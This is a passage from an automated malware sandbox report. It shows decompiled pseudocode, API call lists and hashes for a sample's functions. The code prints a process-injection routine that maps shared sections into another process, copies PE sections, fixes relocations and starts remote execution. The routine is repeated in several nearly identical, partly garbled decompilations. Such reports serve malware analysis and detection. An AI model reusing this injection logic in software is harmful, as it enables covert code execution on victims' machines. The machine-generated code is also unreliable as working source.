					__eax =  *((intOrPtr*)(__ebp - 0xc));
					_pop(__ebx);
					_pop(__ebp);
					return  *((intOrPtr*)(__ebp - 0xc));
				}
			}

0x004014f5
0x004014f7
0x004014a9
0x004014ab
0x004014ac
0x004014ad
0x004014af
0x004014b5
0x004014b6
0x004014b8
0x004014ba
0x004014bd
0x004014c6
0x004014cb
0x004014d2
0x004014d4
0x004014d8
0x004014dc
0x004014e2
0x004014e2
0x004014e3
0x004014e5
0x004014e6
0x004014f9
0x004014f9
0x004014fb
0x004014fd
0x00401500
0x00401502
0x00401509
0x0040150a
0x0040150f
0x00401510
0x00401511
0x00401511

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624

Strings

37m3, xrefs: 004014DC

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 37m3
API String ID: 1652636561-2373783482
Opcode ID: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction ID: a8aa84dfcf73c31766574aff20fc3c5bedaa0235d1c96fa093caba5cd892e43f
Opcode Fuzzy Hash: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction Fuzzy Hash: A171C0B5900249BFEB209FA1CC48FEF7BB8EF85700F144569F911AA1E5E7719901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00401514(void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				char _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				char _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				void* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				void* _t176;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				void* _t186;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				intOrPtr _t204;
				void* _t205;
				intOrPtr* _t207;
				void* _t208;
				void* _t209;
				void* _t210;
				long _t225;
				void* _t231;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t207;
				_t208 = _t207 + 4;
				asm("cmc");
				E0040119E(_t86, _t129, _t131, 0xc0, _t176, _t186, __eflags, _t231);
				_t130 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				_v96 = _t89;
				_t187 =  &_v100;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 =  &_v52;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 =  &_v44;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push( &_v52);
					_push(_t188);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t100 =  &_v84;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 =  &_v88;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t123 =  &_v72;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t125 =  &_v64;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189, _v16, _t125, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t204 = _v72;
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t102 =  &_v84;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 = _a12 + 0x10000;
						_t190 =  &_v92;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t104 =  &_v76;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t106 =  &_v68;
								 *_t106 = 0;
								_t138 =  &_v60;
								_t225 = NtMapViewOfSection( *_t190, _v16, _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t225 == 0) {
									L25();
									if(_t225 == 0 && _t225 != 0) {
										 *_t138 = _t190;
										_t208 = _t205;
									}
									_t209 = _t208 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 = _v288;
									_t210 = _t209 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t208 = _t210 - _t164;
									_t195 = _a8 +  *_a8;
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if(_v56 == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) + _v76,  *((intOrPtr*)(_t166 + 0x14)) + _a8, _t141);
										_t208 = _t208 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t229 = _v56;
									if(_v56 == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) - _v68;
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) + _v76;
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 =  &_v8;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))(_v16, 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) + _v68, _v64, _t110, 0);
									} else {
										L58();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t229, _t231, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x38d);
				_push(0xc0);
				asm("les eax, [ebx+ebp*8]");
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x00401608
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x00401698
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018c3
0x004018d7
0x004018e0
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction ID: 208a9abdd1aee22c33f973a86314166aafce39c53584160e1e70edf4842307f5
Opcode Fuzzy Hash: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction Fuzzy Hash: 93616175900204FBEB209F91DC89FAF7BB8EF85700F10412AF912BA1E4D7759901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040152C(signed int __ebx, signed int __ecx, void* __edi, void* __esi) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr* _t135;
				long* _t140;
				signed int _t142;
				int _t143;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				void* _t167;
				intOrPtr* _t168;
				void* _t171;
				intOrPtr _t181;
				void* _t182;
				void* _t183;
				intOrPtr* _t189;
				intOrPtr* _t190;
				HANDLE* _t191;
				HANDLE* _t192;
				void* _t197;
				void* _t198;
				intOrPtr* _t201;
				void* _t202;
				void* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed char _t212;
				long _t226;
				void* _t232;

				asm("pushfd");
				_t130 = __ebx | __ecx;
				_t212 = __ebx | __ecx;
				_t86 = 0x1561;
				_push(0x38d);
				_t133 =  *_t208;
				_t209 = _t208 + 4;
				asm("cmc");
				E0040119E(_t86, _t130, _t133, 0xc0, __edi, __esi, _t212, _t232);
				_t131 =  *((intOrPtr*)(_t207 + 8));
				 *((intOrPtr*)(_t207 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t207 - 0x34)) =  *((intOrPtr*)(_t207 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t207 - 0x5c)) = _t89;
				_t189 = _t207 - 0x60;
				 *_t189 = 0;
				 *((intOrPtr*)(_t131 + 0x4c))(_t89, _t189);
				_t92 =  *_t189;
				if(_t92 != 0) {
					_t135 = _t207 - 0x30;
					 *_t135 = _t92;
					 *((intOrPtr*)(_t135 + 4)) = 0;
					_t190 = _t207 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t190, 0x18);
					 *_t190 = 0x18;
					_push(_t207 - 0x30);
					_push(_t190);
					_push(0x40);
					_push(_t207 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t207 - 0x10), 0xffffffff, 0xffffffff, _t207 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t207 - 8)) = 0;
						_t100 = _t207 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t191 = _t207 - 0x54;
						if(NtCreateSection(_t191, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t207 - 0x50);
							_t123 = _t207 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t191, 0xffffffff, _t123, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t207 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t191,  *(_t207 - 0xc), _t125, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
									_t206 =  *(_t207 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(0, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t207 + 0x14));
									 *((intOrPtr*)(_t207 - 8)) =  *((intOrPtr*)(_t207 - 8)) + 1;
								}
							}
						}
						_t102 = _t207 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t207 + 0x10)) + 0x10000;
						_t192 = _t207 - 0x58;
						if(NtCreateSection(_t192, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t207 - 8)) != 0) {
							 *_t46 =  *(_t207 - 0x50);
							_t104 = _t207 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t104, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t207 - 0x40;
								 *_t106 = 0;
								_t140 = _t207 - 0x38;
								_t226 = NtMapViewOfSection( *_t192,  *(_t207 - 0xc), _t106, 0, 0, 0, _t140, 1, 0, 0x20);
								if(_t226 == 0) {
									L25();
									if(_t226 == 0 && _t226 != 0) {
										 *_t140 = _t192;
										_t209 = _t207;
										_pop(_t207);
									}
									_t210 = _t209 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t210;
									_t211 = _t210 + 4;
									_t164 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t165 = _t164;
									asm("loop 0xffffffc1");
									_t166 = _t165 ^ 0xa3491271;
									_t209 = _t211 - _t166;
									_t197 =  *((intOrPtr*)(_t207 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0xc))));
									_t142 =  *(_t197 + 6) & 0x0000ffff;
									_push(_t197);
									_t167 = _t197;
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_t168 = _t167 + 0xf8;
										__eflags = _t168;
									} else {
										_t168 = _t167 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t168 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t168 + 0xc)) +  *(_t207 - 0x48),  *((intOrPtr*)(_t168 + 0x14)) +  *((intOrPtr*)(_t207 + 0xc)), _t143);
										_t209 = _t209 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t198);
									_t230 =  *((intOrPtr*)(_t207 - 0x34));
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_push(_t198);
										_t171 =  *((intOrPtr*)(_t198 + 0x34)) -  *(_t207 - 0x40);
										_t201 =  *((intOrPtr*)(_t198 + 0xa0)) +  *(_t207 - 0x48);
										__eflags = _t201;
										while(1) {
											__eflags =  *_t201;
											if( *_t201 == 0) {
												break;
											}
											_t181 =  *_t201;
											_t201 = _t201 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t171;
												__eflags =  *((intOrPtr*)( *(_t207 - 0x48) + 0 + _t181));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t202);
										__eflags = 0;
										_t110 = _t207 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t207 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t202 + 0x28)) +  *(_t207 - 0x40),  *(_t207 - 0x3c), _t110, 0);
									} else {
										L58();
										_pop(_t182);
										_t183 = _t182 - 0x17da;
										 *((intOrPtr*)(_t183 + 0x180e)) = _t183 + 0x2f6c;
										E00401217(_t131, _t230, _t232, _t183 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t183 + 0x1833)) = _t183 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040152c
0x0040152d
0x0040152d
0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction ID: 91d7b6eb91bdc9b702aebae0ea57f4798882290432fe6fcee8abfa626251d873
Opcode Fuzzy Hash: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction Fuzzy Hash: 0F5149B5900245BBEB209F91CC48FEFBFB8EF85B00F144159F911AA2A5D7759901CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401557(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				long _t223;
				void* _t229;

				asm("sahf");
				if (__eflags > 0) goto 0x401545;
				asm("cmc");
				E0040119E(_t86, __ebx, __ecx, 0xc0, __edi, __esi, __eflags, _t229);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t223 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t223 == 0) {
									L19();
									if(_t223 == 0 && _t223 != 0) {
										 *_t138 = _t190;
										_t206 = _t205;
										_pop(_t205);
									}
									_t207 = _t206 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t207;
									_t208 = _t207 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t206 = _t208 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t206 = _t206 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t227 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L52();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t227, _t229, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
